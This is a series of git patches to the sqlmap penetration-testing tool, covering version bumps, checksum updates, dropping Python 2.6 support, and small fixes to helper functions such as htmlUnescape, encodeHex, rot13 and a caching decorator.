2.7|3.x| |License| |X| sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over @@ -123,7 +123,7 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with -`Python `__ version **2.6**, **2.7** and +`Python `__ version **2.7** and **3.x** on any platform. Usage @@ -164,7 +164,7 @@ Links - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots -.. |Python 2.6|2.7|3.x| image:: https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg +.. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg :target: https://www.python.org/ .. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE diff --git a/lib/core/settings.py b/lib/core/settings.py index f6760059b13..124c3546896 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.17" +VERSION = "1.9.12.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 3788ba1d104..7f62f00d74c 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -10,8 +10,8 @@ PYVERSION = sys.version.split()[0] -if PYVERSION < "2.6": - sys.exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6, 2.7 or 3.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) +if PYVERSION < "2.7": + sys.exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.7 or 3.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) errors = [] extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib") From eb5c1e0aa20f8262931c3932bb78ae5875f2babc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 27 Dec 2025 16:33:58 +0100 Subject: [PATCH 259/853] Fixes #5997 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e2688a66778..3cf1fb4b9f4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -c14e217646a5077ef22b60f93211bdcba44d6f937fcdb4a13d07839c0a0787a1 lib/core/settings.py +a1dcf0c3a40fa8b80d898f182577ceeb5609f105396dcee90aefe64fa23803b0 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -477,7 +477,7 @@ cbc7684de872fac4baeabd1fce3938bc771316c36e54d69ac6a301e8a99f07b2 plugins/generi 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9 sqlmap.conf -d305f00a68898314242e7cfc19daf367c8f97e5f1da40100390b635b73b80722 sqlmap.py +1beb0711d15e38956759fbffa5331bde763c568a1baa8e32a04ebe5bc7a27e87 sqlmap.py 82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py c9c3d71f11de0140906d7b4f24fadb9926dc8eaf5adab864f8106275f05526ce tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 124c3546896..cbaf70b0e4f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.18" +VERSION = "1.9.12.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index aa4f07d1a1c..9698d5db3be 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -450,7 +450,7 @@ def main(): elif kb.get("dumpKeyboardInterrupt"): raise SystemExit - elif any(_ in excMsg for _ in ("Broken pipe",)): + elif any(_ in excMsg for _ in ("Broken pipe", "KeyboardInterrupt")): raise SystemExit elif valid is False: From 9b3ed89fd6b0d947212a29a7401077adb667e1d6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 28 Dec 2025 00:45:12 +0100 Subject: [PATCH 260/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/convert.py | 6 +++++- lib/core/settings.py | 2 +- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3cf1fb4b9f4..d558d6cc1b5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py e56ab9dafa97b1bff42a04bf50ec558ecbe0703cbdcc59d22ced05f82955024d lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py -5a2607c9ffd48e6ae98fb142590ad9f588e19064fa84d6f5e662891228edc0fe lib/core/convert.py +243b00de18909561af2af2d73cac14491b010b5ffea94ea208bab2bc1d8035b4 lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py 38d30ecb10783f0ff58a255c801db8324ef2ac23516c7600a9e177b459d99750 lib/core/decorators.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -a1dcf0c3a40fa8b80d898f182577ceeb5609f105396dcee90aefe64fa23803b0 lib/core/settings.py +bdf38a5e9fde95faf82005bbed7187e568430a2d57f93f2f56173f4fdf0c466f lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/convert.py b/lib/core/convert.py index 22722a4b911..af77bd841e4 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -85,6 +85,10 @@ def htmlUnescape(value): >>> htmlUnescape('a<b') == 'a>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar' + True """ retVal = value @@ -95,7 +99,7 @@ def htmlUnescape(value): retVal = retVal.replace(code, value) try: - retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal) + retVal = re.sub(r"&#x([0-9a-fA-F]+);", lambda match: _unichr(int(match.group(1), 16)), retVal) except (ValueError, OverflowError): pass diff --git a/lib/core/settings.py b/lib/core/settings.py index cbaf70b0e4f..e296501281a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.19" +VERSION = "1.9.12.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 22dc46c9262b4ff977ca14b7d19b424ea6a8a8f6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 28 Dec 2025 00:55:09 +0100 Subject: [PATCH 261/853] Minor improvement --- data/txt/sha256sums.txt | 4 ++-- lib/core/convert.py | 25 ++++++++++++------------- lib/core/settings.py | 2 +- 3 files changed, 15 insertions(+), 16 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d558d6cc1b5..da51d3d0cf1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py e56ab9dafa97b1bff42a04bf50ec558ecbe0703cbdcc59d22ced05f82955024d lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py -243b00de18909561af2af2d73cac14491b010b5ffea94ea208bab2bc1d8035b4 lib/core/convert.py +c0127b4dd18fefb2b0970b45e360b5fad43b86450f71590a00b2e18dd3f2bba4 lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py 38d30ecb10783f0ff58a255c801db8324ef2ac23516c7600a9e177b459d99750 lib/core/decorators.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -bdf38a5e9fde95faf82005bbed7187e568430a2d57f93f2f56173f4fdf0c466f lib/core/settings.py +12ba306fc4c73d088aea7dbfb5345c49194246c2ebf7f0dba8e6790c3fa72ebf lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/convert.py b/lib/core/convert.py index af77bd841e4..5adb3d45ce5 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -81,7 +81,7 @@ def base64unpickle(value): def htmlUnescape(value): """ - Returns (basic conversion) HTML unescaped value + Returns HTML unescaped value >>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar' True + >>> htmlUnescape('foobar') == 'foobar' + True + >>> htmlUnescape('©€') == htmlUnescape('©€') + True """ - retVal = value - if value and isinstance(value, six.string_types): - replacements = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'")) - for code, value in replacements: - retVal = retVal.replace(code, value) - - try: - retVal = re.sub(r"&#x([0-9a-fA-F]+);", lambda match: _unichr(int(match.group(1), 16)), retVal) - except (ValueError, OverflowError): - pass - - return retVal + if six.PY3: + import html + return html.unescape(value) + else: + from six.moves import html_parser + return html_parser.HTMLParser().unescape(value) + return value def singleTimeWarnMessage(message): # Cross-referenced function sys.stdout.write(message) diff --git a/lib/core/settings.py b/lib/core/settings.py index e296501281a..4098cd3a945 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.20" +VERSION = "1.9.12.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e4960ce747dc9dcc20939a55bf266855ff2639db Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 28 Dec 2025 00:58:30 +0100 Subject: [PATCH 262/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/convert.py | 4 +++- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index da51d3d0cf1..692fb3a242b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py e56ab9dafa97b1bff42a04bf50ec558ecbe0703cbdcc59d22ced05f82955024d lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py -c0127b4dd18fefb2b0970b45e360b5fad43b86450f71590a00b2e18dd3f2bba4 lib/core/convert.py +2a65fe3ebf642f29a1e44b50c56f212430e323c1523b587ca7d6a76b8b5e5f3f lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py 38d30ecb10783f0ff58a255c801db8324ef2ac23516c7600a9e177b459d99750 lib/core/decorators.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -12ba306fc4c73d088aea7dbfb5345c49194246c2ebf7f0dba8e6790c3fa72ebf lib/core/settings.py +67c7c913fe2792bd303794a9537a50c538ab40bbcbe4be585ae176882891ffee lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/convert.py b/lib/core/convert.py index 5adb3d45ce5..b90ff81f46a 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -193,10 +193,12 @@ def encodeHex(value, binary=True): '313233' >>> encodeHex(b"123"[0]) == b"31" True + >>> encodeHex(123, binary=False) + '7b' """ if isinstance(value, int): - value = six.unichr(value) + value = six.int2byte(value) if isinstance(value, six.text_type): value = value.encode(UNICODE_ENCODING) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4098cd3a945..0c86cd3d175 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.21" +VERSION = "1.9.12.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 673a7a5ff875214619a6a831fe8a4e7d5965eba3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 28 Dec 2025 01:17:19 +0100 Subject: [PATCH 263/853] Minor patches --- data/txt/sha256sums.txt | 6 +++--- lib/core/common.py | 6 +++--- lib/core/convert.py | 10 ++++++++-- lib/core/settings.py | 2 +- 4 files changed, 15 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 692fb3a242b..2a297f43783 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,9 +166,9 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py -e56ab9dafa97b1bff42a04bf50ec558ecbe0703cbdcc59d22ced05f82955024d lib/core/common.py +b7004d6b58ad638ac680d098aa96c07d0b403fb54f1938585fba3d61a262ff37 lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py -2a65fe3ebf642f29a1e44b50c56f212430e323c1523b587ca7d6a76b8b5e5f3f lib/core/convert.py +34bcabad7602d6a5b79a517af8a71cc2bf21e34dfe695f9f8b9c41583a37aaef lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py 38d30ecb10783f0ff58a255c801db8324ef2ac23516c7600a9e177b459d99750 lib/core/decorators.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -67c7c913fe2792bd303794a9537a50c538ab40bbcbe4be585ae176882891ffee lib/core/settings.py +a3da2c5bdbed5f80159db0bf6324f2c818aaa4a0a18f703ca3d7b9f7aef95891 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 2336145b50f..dadd0e58e8c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3339,14 +3339,14 @@ def filterNone(values): """ Emulates filterNone([...]) functionality - >>> filterNone([1, 2, "", None, 3]) - [1, 2, 3] + >>> filterNone([1, 2, "", None, 3, 0]) + [1, 2, 3, 0] """ retVal = values if isinstance(values, _collections.Iterable): - retVal = [_ for _ in values if _] + retVal = [_ for _ in values if _ or _ == 0] return retVal diff --git a/lib/core/convert.py b/lib/core/convert.py index b90ff81f46a..c96e0cf3908 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -58,7 +58,7 @@ def base64pickle(value): try: retVal = encodeBase64(pickle.dumps(value), binary=False) except: - retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False) + raise return retVal @@ -146,13 +146,19 @@ def rot13(data): 'sbbone jnf urer!!' >>> rot13('sbbone jnf urer!!') 'foobar was here!!' + >>> rot13(b'foobar was here!!') + 'sbbone jnf urer!!' """ - # Reference: https://stackoverflow.com/a/62662878 retVal = "" alphabit = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ" + + if isinstance(data, six.binary_type): + data = getText(data) + for char in data: retVal += alphabit[alphabit.index(char) + 13] if char in alphabit else char + return retVal def decodeHex(value, binary=True): diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c86cd3d175..87045ee4242 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.22" +VERSION = "1.9.12.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c95f67c7e2ef6020e9f389e1fac2a43aab47a196 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 28 Dec 2025 01:33:15 +0100 Subject: [PATCH 264/853] Minor improvements --- data/txt/sha256sums.txt | 6 +++--- lib/core/common.py | 8 ++++++-- lib/core/decorators.py | 17 +++++++++++------ lib/core/settings.py | 2 +- 4 files changed, 21 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2a297f43783..82f818e478d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,12 +166,12 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py -b7004d6b58ad638ac680d098aa96c07d0b403fb54f1938585fba3d61a262ff37 lib/core/common.py +567c53222bc59f2aaba97ce9ba7613848ff0609007cc5dfc57051da34d76e41b lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py 34bcabad7602d6a5b79a517af8a71cc2bf21e34dfe695f9f8b9c41583a37aaef lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py -38d30ecb10783f0ff58a255c801db8324ef2ac23516c7600a9e177b459d99750 lib/core/decorators.py +322978f03cd69f7c98f2ea2cbe7567ab4f386b6c0548dcdf09064a6e9c393383 lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py bb7e6521edad1cbfffa89fd7d5e255ed4ff148d984ffadbeac8d42baa2d76dea lib/core/dicts.py 20a6edda1d57a7564869e366f57ed7b2ab068dd8716cf7a10ef4a02d154d6c80 lib/core/dump.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -a3da2c5bdbed5f80159db0bf6324f2c818aaa4a0a18f703ca3d7b9f7aef95891 lib/core/settings.py +2913a56b7d556e351ba919299a7fc40f6fe9a44239ce0d7cdf657d5c25c6e7fb lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index dadd0e58e8c..41c2b7c2d71 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5017,6 +5017,10 @@ def extractExpectedValue(value, expected): >>> extractExpectedValue(['1'], EXPECTED.BOOL) True + >>> extractExpectedValue(['17'], EXPECTED.BOOL) + True + >>> extractExpectedValue(['0'], EXPECTED.BOOL) + False >>> extractExpectedValue('1', EXPECTED.INT) 1 >>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None @@ -5037,10 +5041,10 @@ def extractExpectedValue(value, expected): value = value == "true" elif value in ('t', 'f'): value = value == 't' - elif value in ("1", "-1"): - value = True elif value == '0': value = False + elif re.search(r"\A-?[1-9]\d*\Z", value): + value = True else: value = None elif expected == EXPECTED.INT: diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 309b54a6fd5..201abac75bd 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -49,16 +49,21 @@ def _f(*args, **kwargs): ) try: key = struct.unpack(">Q", hashlib.md5("`".join(parts).encode(UNICODE_ENCODING)).digest()[:8])[0] & 0x7fffffffffffffff - except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) + except (struct.error, ValueError): # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) result = f(*args, **kwargs) else: lock, cache = _method_locks[f], _cache[f] + + with lock: + if key in cache: + return cache[key] + + result = f(*args, **kwargs) + with lock: - try: - result = cache[key] - except KeyError: - result = f(*args, **kwargs) - cache[key] = result + cache[key] = result + + return result return result diff --git a/lib/core/settings.py b/lib/core/settings.py index 87045ee4242..2a485ce902c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.23" +VERSION = "1.9.12.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8be94b488f36c2135408f7e12d75294c59dc789b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 28 Dec 2025 11:26:17 +0100 Subject: [PATCH 265/853] Minor Python2 bug fix --- data/txt/sha256sums.txt | 4 ++-- lib/core/convert.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 82f818e478d..6e1f6da1978 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py 567c53222bc59f2aaba97ce9ba7613848ff0609007cc5dfc57051da34d76e41b lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py -34bcabad7602d6a5b79a517af8a71cc2bf21e34dfe695f9f8b9c41583a37aaef lib/core/convert.py +39ea62d4224be860befeffb3843c150f2343b64555ad8c438a400222056f6cc0 lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py 322978f03cd69f7c98f2ea2cbe7567ab4f386b6c0548dcdf09064a6e9c393383 lib/core/decorators.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -2913a56b7d556e351ba919299a7fc40f6fe9a44239ce0d7cdf657d5c25c6e7fb lib/core/settings.py +8f2879edfb18a238d8601e22e82a2a53277fb2aa0876ce42e283e67df4be172c lib/core/settings.py 